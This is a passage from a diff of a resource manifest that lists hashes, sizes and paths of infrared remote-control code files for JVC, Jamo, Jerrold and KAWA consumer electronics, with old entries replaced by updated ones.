Jukebox/179,0.ir -F:07c84e0a079b03979bdd2ea0d719175b:418:infrared/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir -F:b3a23baa21806f1e04ffd7bdcbe15ddf:3266:infrared/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir -F:edd5cf382bc3ae689114ea505c85fe02:17186:infrared/_CSV-IRDB_/JVC/CD Player/179,-1.ir -F:dd5742a8047bc1f24eb66a91df9e3f1f:13836:infrared/_CSV-IRDB_/JVC/CD Player/179,0.ir -F:a421e7080f7e80d29034509e92406d82:510:infrared/_CSV-IRDB_/JVC/CD Player/34,33.ir -F:c02fba08b186944a9c07a4766931ddc4:4949:infrared/_CSV-IRDB_/JVC/CD Player/34,48.ir -F:ed2b8577912b0599949725c1120ff861:2166:infrared/_CSV-IRDB_/JVC/Camcorder/211,-1.ir -F:10300450198b811f757c2ed9de927456:636:infrared/_CSV-IRDB_/JVC/Camcorder/67,-1.ir -F:c687344eedaab898e0fe8a934b852c78:2427:infrared/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir -F:33c06e4501dffe5b97ba10d17bef5597:4013:infrared/_CSV-IRDB_/JVC/D-VHS/67,-1.ir -F:eeff5eb0aeb793f09c6f3a49cf696c24:1849:infrared/_CSV-IRDB_/JVC/DVD Player/179,-1.ir -F:fad7874d6d79e5e652bbfdd80482e59e:12797:infrared/_CSV-IRDB_/JVC/DVD Player/239,-1.ir -F:14406de4ade763701b3e8bc35c9a07f5:817:infrared/_CSV-IRDB_/JVC/DVD Player/26,-1.ir -F:23725cd9106c321ec5e6966b9f8468b1:5310:infrared/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir -F:62bf81d46b60eb6829324bf233080294:3084:infrared/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir -F:0b3d0b8de2694b9d2a2dcabad6fef90d:237:infrared/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir -F:ccdd8e1d042442fd68c8f15c4b273457:4444:infrared/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir -F:88365555cbdb0b49002c6b8a8895a33e:132:infrared/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir -F:d086a46a21626bfad31bf7342d3037c1:135:infrared/_CSV-IRDB_/JVC/Karaoke/179,-1.ir -F:db7e65e71d3d35ac0a1a1fc5fe60a83d:2318:infrared/_CSV-IRDB_/JVC/Karaoke/191,-1.ir -F:5cc02cf74dcf41efd2537b3f907ad770:223:infrared/_CSV-IRDB_/JVC/Karaoke/3,-1.ir -F:0909fefae15aaf8f955b2bd61b4550bb:128:infrared/_CSV-IRDB_/JVC/LCD/15,-1.ir -F:6304f74be63b430c1b8e2591da058bea:2237:infrared/_CSV-IRDB_/JVC/LCD/3,-1.ir -F:cb70d1eb621a5b0ea0acc0d060e90f22:523:infrared/_CSV-IRDB_/JVC/LCD/35,-1.ir -F:1474460d972290f0d9200d9c1a1f4dbf:128:infrared/_CSV-IRDB_/JVC/LCD/67,-1.ir -F:f4899c42d4334d1e44c921264fe11233:1273:infrared/_CSV-IRDB_/JVC/LCD TV/3,-1.ir -F:d3c289de82227732cb0acdf511eada48:1111:infrared/_CSV-IRDB_/JVC/Mini System/131,-1.ir -F:f76967a4ce0d835d2509d3dacdf49405:1957:infrared/_CSV-IRDB_/JVC/Mini System/159,-1.ir -F:f1f3eea8470944c544e99c48331d558d:2110:infrared/_CSV-IRDB_/JVC/Mini System/163,-1.ir -F:6743dbf9e47b4ba7f0c186c1a11a1bd0:1403:infrared/_CSV-IRDB_/JVC/Mini System/175,-1.ir -F:c03524a69ccb150fe6f66d81ad158fa5:3847:infrared/_CSV-IRDB_/JVC/Mini System/179,-1.ir -F:04cc8c031603abbb5e5a6de4e166b910:224:infrared/_CSV-IRDB_/JVC/Mini System/31,-1.ir -F:5ed16c659577931b201ce885eb12a2a9:6948:infrared/_CSV-IRDB_/JVC/Monitor/3,-1.ir -F:83a741925e1ea9ba1aaceccb5f6f3607:1964:infrared/_CSV-IRDB_/JVC/Monitor/67,-1.ir -F:cb5d29bf267963ca0a7107c1ab911c90:326:infrared/_CSV-IRDB_/JVC/Plasma/31,-1.ir -F:fe61cadb4f1071b46a9f8b0a55cf29cd:5120:infrared/_CSV-IRDB_/JVC/Projector/115,-1.ir -F:a6093a2a94cf6672ef47a78ba8cc8943:730:infrared/_CSV-IRDB_/JVC/Receiver/1,-1.ir -F:dfa96d9547a4bd888f75817bac53d397:630:infrared/_CSV-IRDB_/JVC/Receiver/121,-1.ir -F:a589c0f58258573bd957c04460a9c484:10071:infrared/_CSV-IRDB_/JVC/Receiver/131,-1.ir -F:ca80c7c99cd7516c3d194ac07e2f6961:3824:infrared/_CSV-IRDB_/JVC/Receiver/147,-1.ir -F:55f07164deadd9b44df89bc4ade44565:4705:infrared/_CSV-IRDB_/JVC/Receiver/159,-1.ir -F:0ec3111fc141afb417abd3e7bf4488b9:29412:infrared/_CSV-IRDB_/JVC/Receiver/163,-1.ir -F:47b72a64ecde806f10296986c6c4dd66:2110:infrared/_CSV-IRDB_/JVC/Receiver/175,-1.ir -F:1c11fcacf7bd0a457319d4533586d1cb:17862:infrared/_CSV-IRDB_/JVC/Receiver/179,-1.ir -F:ed696f3c6ad7bad41ad3819a7ed69b9a:1845:infrared/_CSV-IRDB_/JVC/Receiver/191,-1.ir -F:cba369af462a3be6b1c498dbad4a240b:138:infrared/_CSV-IRDB_/JVC/Receiver/239,-1.ir -F:befa85faa58406a311f0d699d48df53b:8420:infrared/_CSV-IRDB_/JVC/Receiver/3,-1.ir -F:0d292e55f15837c456e4749d39ee09d7:234:infrared/_CSV-IRDB_/JVC/Receiver/34,84.ir -F:87be66fc0e382fff1de051044e6f3795:10432:infrared/_CSV-IRDB_/JVC/Receiver/67,-1.ir -F:504fab8bdb0d6a5e51b0fa9de9b6a7ab:2573:infrared/_CSV-IRDB_/JVC/Receiver/83,-1.ir -F:60fd2639f75893315f4300c4c12ad9a7:2144:infrared/_CSV-IRDB_/JVC/S-VHS/67,-1.ir -F:f73bee3d145bd601aebc3acebf70a3e6:1196:infrared/_CSV-IRDB_/JVC/Satellite/0,0.ir -F:b8eec138f8b615258c98d8204482638f:217:infrared/_CSV-IRDB_/JVC/Satellite/16,0.ir -F:7ac59b54f2ee4b3150cd22a6e6a69482:1323:infrared/_CSV-IRDB_/JVC/Satellite/24,0.ir -F:ccd92f7efc9d0ca7572d22ce3fbcbbb1:410:infrared/_CSV-IRDB_/JVC/Satellite/8,0.ir -F:5cc8e573a76043e69fa60d1519974f97:2161:infrared/_CSV-IRDB_/JVC/Switcher/243,-1.ir -F:b039b4edb5edb33985afe170c80d3545:519:infrared/_CSV-IRDB_/JVC/TV/15,-1.ir -F:c2f0577d38c1051f998b5b1ae1452d93:10990:infrared/_CSV-IRDB_/JVC/TV/3,-1.ir -F:a093b02a10162432067dd2985650bdf1:698:infrared/_CSV-IRDB_/JVC/TV/31,-1.ir -F:88365555cbdb0b49002c6b8a8895a33e:132:infrared/_CSV-IRDB_/JVC/TV/67,-1.ir -F:219681bc1d69c82165c5df9925d9e05d:820:infrared/_CSV-IRDB_/JVC/Tuner/131,-1.ir -F:9d03c76176f8ffb2fcbb2bf8acd55eab:1807:infrared/_CSV-IRDB_/JVC/Tuner/147,-1.ir -F:f99fee37e4052487d80b23e66bb572f6:4567:infrared/_CSV-IRDB_/JVC/Tuner/163,-1.ir -F:e97bf07c1c75ad4be869120c690f464a:2292:infrared/_CSV-IRDB_/JVC/Tuner/179,-1.ir -F:3ebd1cf3f0529c83c27b549eeb948eef:322:infrared/_CSV-IRDB_/JVC/Tuner/3,-1.ir -F:ea5da790174ef2799469fbd956861c0a:908:infrared/_CSV-IRDB_/JVC/Tuner/67,-1.ir -F:b07b6483c313ff85adc015d3949364ac:2217:infrared/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir -F:20a016cd630494e3b6347280e27e2b5e:2570:infrared/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir -F:59cdd00d042313f1f4eb14971d4a9ef9:2702:infrared/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir -F:1aa4bf6e67118412f03d8a828077de73:3735:infrared/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir -F:43966bfbca41b59889d886581632ca0e:2770:infrared/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir -F:d7804696cc0c19827e49ae50bf0a73e8:2003:infrared/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir -F:01719f918b22e53d4c51c40c5a61e07e:2685:infrared/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir -F:76beb57e836979839e8377f88fd1261d:2790:infrared/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir -F:208139531314bc6b78c40668860107f7:2502:infrared/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir -F:064f9129f8dda47e9b4a1e9b4f655b83:2630:infrared/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir -F:3e1c29f24c7ef7544ce4763af11356fb:2536:infrared/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir -F:2bf6012648ca19d10cf62c08adf3bea8:3275:infrared/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir -F:914c03ca73ca8de8a5f3fbad3eb7c781:2702:infrared/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir -F:363a0b647ee0e7a42cc26dffe4eb65f3:894:infrared/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir -F:4e3246dd67dd8e25971184bfb19faaa3:904:infrared/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir -F:fc5d1a1fdd6c3ecb5e1413eb5d7edf5a:3092:infrared/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir -F:31f7a6ec2b190cb021d8d3c1d3f838ef:1732:infrared/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir -F:31fe3bb168820a7174494cb416643ed5:4677:infrared/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir -F:b8aaac47cc6592a4fb959522b7ccfd74:3154:infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir -F:6da183fd82a4984ff576113c1023d434:3744:infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir -F:02408e5ceb9cad4072522edee64298fb:2125:infrared/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir -F:aa741bd83fd772b1211933e34d9c6e28:2599:infrared/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir -F:4f21379e353c885d680139c28fb448b6:3845:infrared/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir -F:2bca830d8ef3fefd8b421640e8e683d2:1012:infrared/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir -F:a51147c377e63a8f126a5ff3a97e2008:1864:infrared/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir -F:ca08ee1f3a881125c6236f5eb8ae1bcb:1641:infrared/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir -F:6d144b76d935faae0e764198f9dca84f:4078:infrared/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir -F:8a576f79f6f650d076f9ef64c88a49c1:4434:infrared/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir -F:85f258bb6f254bd0f5c296dd5180d556:3728:infrared/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir -F:d4bbfe927dcbce6a9d0bd618cefb6959:2311:infrared/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir -F:33db4156f69f29a2321975e67635b504:1527:infrared/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir -F:30df04b465eccb67575accbf6aff99d7:2152:infrared/_CSV-IRDB_/JVC/VCR/0,14.ir -F:a8316922b83926d5fc2dfb28b410eeff:5494:infrared/_CSV-IRDB_/JVC/VCR/1,-1.ir -F:e41ec40372bf4b7747798badf05eda9e:224:infrared/_CSV-IRDB_/JVC/VCR/1,14.ir -F:15ac495cb5bdb2403e5797661a72a261:522:infrared/_CSV-IRDB_/JVC/VCR/131,-1.ir -F:91736f23036101771d849c4922045282:2425:infrared/_CSV-IRDB_/JVC/VCR/163,-1.ir -F:a773b8eb10fda226c836dde97f7844ed:2157:infrared/_CSV-IRDB_/JVC/VCR/179,-1.ir -F:e1bfad44f5088d926f4b9e6bfc84745a:10300:infrared/_CSV-IRDB_/JVC/VCR/3,-1.ir -F:18982f6a4a86368a8584ff2b9e505a03:140:infrared/_CSV-IRDB_/JVC/VCR/5,1.ir -F:86fc587a8630ec64de1ca826ceddd942:921:infrared/_CSV-IRDB_/JVC/VCR/64,-1.ir -F:0193176be5128c9f9a94755e447180ae:62179:infrared/_CSV-IRDB_/JVC/VCR/67,-1.ir -F:454b29ca9e313fa321ea62a6f18fc705:1463:infrared/_CSV-IRDB_/JVC/VCR/8,14.ir -F:5a37aa82bac6e4981ca7c8be79c41213:146:infrared/_CSV-IRDB_/JVC/VCR/80,-1.ir -F:71ceb67a4fc6e2b6a04279557a37fca2:22133:infrared/_CSV-IRDB_/JVC/VCR/83,-1.ir -F:4c2f05e63d1ede8fe6b2b732526c76dd:12139:infrared/_CSV-IRDB_/JVC/Video Projector/115,-1.ir -F:a7b4af8f02f6d82f5fa564448c9f1df3:1148:infrared/_CSV-IRDB_/JVC/Video Projector/131,85.ir -F:0e34b6fe61afefd18cfe01b61f698134:3351:infrared/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir +F:4310a89479bce1a22eee1b131eabf130:2251:infrared/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir +F:2f030bb4482d5a9a0573017b5db45020:392:infrared/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir +F:3b7a9293d309dd5ab53361537833aa91:3054:infrared/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir +F:2a50331ebc9b2a7a957becf91c8bade2:16104:infrared/_CSV-IRDB_/JVC/CD Player/179,-1.ir +F:91a9b86a3fb67b4f8b288684a7bc101c:12958:infrared/_CSV-IRDB_/JVC/CD Player/179,0.ir +F:89d2ea7c62ec7b0c85dcdc5a22d5cce0:478:infrared/_CSV-IRDB_/JVC/CD Player/34,33.ir +F:a314d88d5da811b40173119bb3697a5a:4629:infrared/_CSV-IRDB_/JVC/CD Player/34,48.ir +F:99b80f96354c0754a1035e49c933ff48:2032:infrared/_CSV-IRDB_/JVC/Camcorder/211,-1.ir +F:36f5c00754cc97d5aec5aef170072860:598:infrared/_CSV-IRDB_/JVC/Camcorder/67,-1.ir +F:22dabc9db9e0245c568b6e8f63f8d704:2281:infrared/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir +F:16681b6c81fd1a78850a256baa5b5541:3753:infrared/_CSV-IRDB_/JVC/D-VHS/67,-1.ir +F:62c411c9ce9b93360b3b2ee7dd99845c:1727:infrared/_CSV-IRDB_/JVC/DVD Player/179,-1.ir +F:46ce6c26715ac094bf891dce78648396:11985:infrared/_CSV-IRDB_/JVC/DVD Player/239,-1.ir +F:a779fee73658dda6ffc3bf6fca006529:767:infrared/_CSV-IRDB_/JVC/DVD Player/26,-1.ir +F:3960271a8fb5c24accf296648829e70f:4972:infrared/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir +F:beaf0de3ccec0232577c31993ad087e1:2890:infrared/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir +F:268e45f7e06533a02686583140c12940:223:infrared/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir +F:58b4073b4dd628205a48bcac004c8ef4:4160:infrared/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir +F:2d58943001aee8e33ea4b33475eb7508:124:infrared/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir +F:bb7bf251e1ebc04bd3232bafef5fb860:127:infrared/_CSV-IRDB_/JVC/Karaoke/179,-1.ir +F:d1207d44154fc6058599f22eceb1a191:2166:infrared/_CSV-IRDB_/JVC/Karaoke/191,-1.ir +F:365cacc5446292b3454a38883026b7b9:209:infrared/_CSV-IRDB_/JVC/Karaoke/3,-1.ir +F:3479d60cbab35cb865efe82507633524:120:infrared/_CSV-IRDB_/JVC/LCD/15,-1.ir +F:b63c41639f9abc1213d331963a2aae62:2091:infrared/_CSV-IRDB_/JVC/LCD/3,-1.ir +F:543fc30355f6a71f658edc9390037871:491:infrared/_CSV-IRDB_/JVC/LCD/35,-1.ir +F:76f93c94647535b3a07ff777b3bc0d51:120:infrared/_CSV-IRDB_/JVC/LCD/67,-1.ir +F:37994f930dac49ec6ab4a78992642a03:1193:infrared/_CSV-IRDB_/JVC/LCD TV/3,-1.ir +F:411f00f5b990ebe3f0c938b2bed4a893:1043:infrared/_CSV-IRDB_/JVC/Mini System/131,-1.ir +F:6eb5d3a4adcdf86005b075307961a39d:1829:infrared/_CSV-IRDB_/JVC/Mini System/159,-1.ir +F:a862450c26abb76756c53d0588877008:1976:infrared/_CSV-IRDB_/JVC/Mini System/163,-1.ir +F:0d0f0b0a299622e56628b7c1210ec836:1317:infrared/_CSV-IRDB_/JVC/Mini System/175,-1.ir +F:345788c031d509b3b0d11a3cf324b19c:3605:infrared/_CSV-IRDB_/JVC/Mini System/179,-1.ir +F:ddc8b8bbdeb5a63503fc20b801d053ed:210:infrared/_CSV-IRDB_/JVC/Mini System/31,-1.ir +F:2484bbfc407d2f8ad280fb1a10643861:6508:infrared/_CSV-IRDB_/JVC/Monitor/3,-1.ir +F:29ffe0fb53ea12118e8e7ea20896b482:1842:infrared/_CSV-IRDB_/JVC/Monitor/67,-1.ir +F:4fa6f216d42ccc9631a0a1ab6a299da2:306:infrared/_CSV-IRDB_/JVC/Plasma/31,-1.ir +F:1ac2e1fea6ed79c53ac8c747e7408bff:4800:infrared/_CSV-IRDB_/JVC/Projector/115,-1.ir +F:d660e634e4d1f58b4890c5879d59e782:686:infrared/_CSV-IRDB_/JVC/Receiver/1,-1.ir +F:4acd0228d10c7ee012d4202a0cb1e07b:592:infrared/_CSV-IRDB_/JVC/Receiver/121,-1.ir +F:813945a4a3983f9e4f0801783426952f:9475:infrared/_CSV-IRDB_/JVC/Receiver/131,-1.ir +F:c681ee49ce3200a5a0de793676b2636e:3588:infrared/_CSV-IRDB_/JVC/Receiver/147,-1.ir +F:9cbc5453341b7c9596cab684a75e439a:4415:infrared/_CSV-IRDB_/JVC/Receiver/159,-1.ir +F:459ffa6617d5ad0651c7de4616fb1b07:27628:infrared/_CSV-IRDB_/JVC/Receiver/163,-1.ir +F:3b1d740c340642cd5084d4dc74c4ff54:1982:infrared/_CSV-IRDB_/JVC/Receiver/175,-1.ir +F:c7d591e6cfde4388084599814cf655f8:16750:infrared/_CSV-IRDB_/JVC/Receiver/179,-1.ir +F:bde813d9c2e22c8a84c3924dee0f1d31:1729:infrared/_CSV-IRDB_/JVC/Receiver/191,-1.ir +F:108ee63a1e78a4cf6d1dad9de059067b:130:infrared/_CSV-IRDB_/JVC/Receiver/239,-1.ir +F:18512c7844f52b3ddeabdeb37f47ce78:7890:infrared/_CSV-IRDB_/JVC/Receiver/3,-1.ir +F:291c059fcab85801130c04a353568627:220:infrared/_CSV-IRDB_/JVC/Receiver/34,84.ir +F:5a715a8073026ae7c76318605f486318:9788:infrared/_CSV-IRDB_/JVC/Receiver/67,-1.ir +F:50a82bc9af2b146a4db8eb747cdf1ec3:2415:infrared/_CSV-IRDB_/JVC/Receiver/83,-1.ir +F:71619b1a0f5bf205317c74b40a5a012a:2004:infrared/_CSV-IRDB_/JVC/S-VHS/67,-1.ir +F:02e8e2250d001a532f460b5e979111ff:1116:infrared/_CSV-IRDB_/JVC/Satellite/0,0.ir +F:f7efd237f8c66abb289613682eee4a62:203:infrared/_CSV-IRDB_/JVC/Satellite/16,0.ir +F:93264c6e3ecddd01f130140c2a5f4f84:1237:infrared/_CSV-IRDB_/JVC/Satellite/24,0.ir +F:0e8c6f98faef056e67c26745e611b2e9:384:infrared/_CSV-IRDB_/JVC/Satellite/8,0.ir +F:5a3a82b34a43bb8df05ac798463a7f48:2027:infrared/_CSV-IRDB_/JVC/Switcher/243,-1.ir +F:9e98ba35a7d6707338210cc85117d545:487:infrared/_CSV-IRDB_/JVC/TV/15,-1.ir +F:e5096505236cc15d74e85e7e71b9248d:10292:infrared/_CSV-IRDB_/JVC/TV/3,-1.ir +F:cd5a6b8cc4ed84138a917ad008ff8e2e:654:infrared/_CSV-IRDB_/JVC/TV/31,-1.ir +F:2d58943001aee8e33ea4b33475eb7508:124:infrared/_CSV-IRDB_/JVC/TV/67,-1.ir +F:97ba6aedc3a33d7a67b6232f578a8b8c:770:infrared/_CSV-IRDB_/JVC/Tuner/131,-1.ir +F:47e1c616f4800d5234f6335b3d3a4966:1691:infrared/_CSV-IRDB_/JVC/Tuner/147,-1.ir +F:4be894e3ae50305896fda3fd09906193:4283:infrared/_CSV-IRDB_/JVC/Tuner/163,-1.ir +F:192407b95d573dcef51cb40aceda3446:2146:infrared/_CSV-IRDB_/JVC/Tuner/179,-1.ir +F:733fe776a2fbcdf65fc9707c1af0aa4b:302:infrared/_CSV-IRDB_/JVC/Tuner/3,-1.ir +F:a475a42c2c037ee5358972901e6240ef:852:infrared/_CSV-IRDB_/JVC/Tuner/67,-1.ir +F:0443d792b66c2ec52b6878272dd2710e:2077:infrared/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir +F:5aae76ad558b8e4eb91de535d754b249:2406:infrared/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir +F:b6adc3905e835a3a412a014280ec0618:2532:infrared/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir +F:881a6dbf0c7cb74b1f141d945ca808bf:3499:infrared/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir +F:8a16a19910f6509ffe64c4e92a2b486c:2594:infrared/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir +F:4f2e0927f8bbd6237d994cc5e25d08e0:1875:infrared/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir +F:62142c020ee63878e699a2086119e7c2:2515:infrared/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir +F:0ff7127bf8f6b61d29c41365ceaa644f:2614:infrared/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir +F:c75d1172011c8246d6d44eeea972f4c4:2344:infrared/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir +F:3e923f83c144f95d820ed4b7a66a8fe5:2466:infrared/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir +F:c54f9b0b2b8f189c30ef30fa6e92bda9:2378:infrared/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir +F:5835a99c0ac66d43d9cce73f7c47886e:3069:infrared/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir +F:bfcc9e4cebb355cdd6688406d8475132:2532:infrared/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir +F:7283b84ebbcb852ba4356689745944fb:838:infrared/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir +F:d8953ceb33c68e627da80b21f2bd2b1b:848:infrared/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir +F:51158aafdc6f8fbc3f04092489dbaa67:2898:infrared/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir +F:26d97b97a6bdd3994b4217e7bb84f10e:1622:infrared/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir +F:539542bbb76e82807b84077c8991634f:4381:infrared/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir +F:4b94659fc9583f9c5aabd129c5f607f7:2954:infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir +F:7d950fc7dd7638d255d1ef65f5075185:3508:infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir +F:54d5616ef6f45ca85b4fd180705e89d9:1991:infrared/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir +F:6f55ac4e3017ed75a66f182905d885be:2435:infrared/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir +F:9a634613006ca41db2c64fbc5ee0c603:3603:infrared/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir +F:763c5d9d559a4a5ec87d5c8016e62680:950:infrared/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir +F:742929cd9e13e38ff3f0b54433a2c46c:1748:infrared/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir +F:7fd4be1062a2031017d8160c67a204db:1537:infrared/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir +F:307be11475866e092be16449f6d309a0:3818:infrared/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir +F:1973abfa4a44332728e0285186d00ce9:4150:infrared/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir +F:7404a907a62890f865b3563b574ff62f:3492:infrared/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir +F:e7634c3ced181f585100b9bb683d52c1:2165:infrared/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir +F:a5791137d360267531765ea47a2b1894:1429:infrared/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir +F:2df960eaa2617684b252c6db354382ee:2012:infrared/_CSV-IRDB_/JVC/VCR/0,14.ir +F:9dc01bab86bf9d70bceb52a0b06587f2:5144:infrared/_CSV-IRDB_/JVC/VCR/1,-1.ir +F:c6d1bc62935c67797c492df9e5649de2:210:infrared/_CSV-IRDB_/JVC/VCR/1,14.ir +F:d897e6d8e2d44aa1843174a2388e3f88:490:infrared/_CSV-IRDB_/JVC/VCR/131,-1.ir +F:b7f4f716d9baa414d6c30334425344b1:2273:infrared/_CSV-IRDB_/JVC/VCR/163,-1.ir +F:3ee818c665ce1104e97f2d3ceb39a276:2017:infrared/_CSV-IRDB_/JVC/VCR/179,-1.ir +F:78ae23085ad245e45b61464063628839:9656:infrared/_CSV-IRDB_/JVC/VCR/3,-1.ir +F:0a411cc529100efe16c59062d4a28c0d:132:infrared/_CSV-IRDB_/JVC/VCR/5,1.ir +F:06f432f03b8e8070a2a3b7cb0a86af81:865:infrared/_CSV-IRDB_/JVC/VCR/64,-1.ir +F:65a583ccae2585b86c0ffa53aeba4728:58307:infrared/_CSV-IRDB_/JVC/VCR/67,-1.ir +F:47462bc24a7614f078ce40a519932ba4:1371:infrared/_CSV-IRDB_/JVC/VCR/8,14.ir +F:d8d674439ab259bbf79b92d8e523735c:138:infrared/_CSV-IRDB_/JVC/VCR/80,-1.ir +F:000b41aacddd45564772f18ec4be3b0f:20757:infrared/_CSV-IRDB_/JVC/VCR/83,-1.ir +F:8b54e06df8b9031af788ce48bfb6178e:11375:infrared/_CSV-IRDB_/JVC/Video Projector/115,-1.ir +F:63ca7d47701d0dd74af53c43bb60409c:1074:infrared/_CSV-IRDB_/JVC/Video Projector/131,85.ir +F:c872bf0f55ec9b0d56ac68e1333a96bb:3139:infrared/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir D:infrared/_CSV-IRDB_/Jamo/DVD Receiver -F:07a3daf3053a568319f50a2767f2ee9c:5097:infrared/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir +F:e2458cb32b3ba9238dbec2ff32153085:4771:infrared/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir D:infrared/_CSV-IRDB_/Jerrold/Cable Box D:infrared/_CSV-IRDB_/Jerrold/Unknown_550-osd D:infrared/_CSV-IRDB_/Jerrold/Unknown_CFT2000 D:infrared/_CSV-IRDB_/Jerrold/Unknown_MRC D:infrared/_CSV-IRDB_/Jerrold/Unknown_RC-OSD -F:b251f6641a0ed283330f4cff4055878b:5244:infrared/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir -F:75ce359ef8b3a3bb9f0ad0b33370f7c5:409:infrared/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir -F:6d3834466d4cc3a25e91e432642346f6:2565:infrared/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir -F:13b3f0eeb5cb005ef131560f98eacd9b:1437:infrared/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir -F:dafa4b0affef6c8a4ddec00feccd31e9:2576:infrared/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir -F:c3f51366bdbbd844194c6e6604f05ac7:2487:infrared/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir +F:929f20c7ed26f47df0e5a661b0eac774:4906:infrared/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir +F:7096f8b9ccfca07fc669daacf9d24b2b:383:infrared/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir +F:65e6fa072a52536c76ea7c7c6898bb99:2401:infrared/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir +F:c9e37bff39daea6afb88a83683e7078a:1345:infrared/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir +F:aff9eb0f1f6da0aa06126ff64327ded5:2412:infrared/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir +F:99ea0dd7d9adfe326939f79036387ba8:2329:infrared/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir D:infrared/_CSV-IRDB_/KAWA/Unknown_TV -F:307323a525df23d63e89b162be05ce7b:3126:infrared/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir 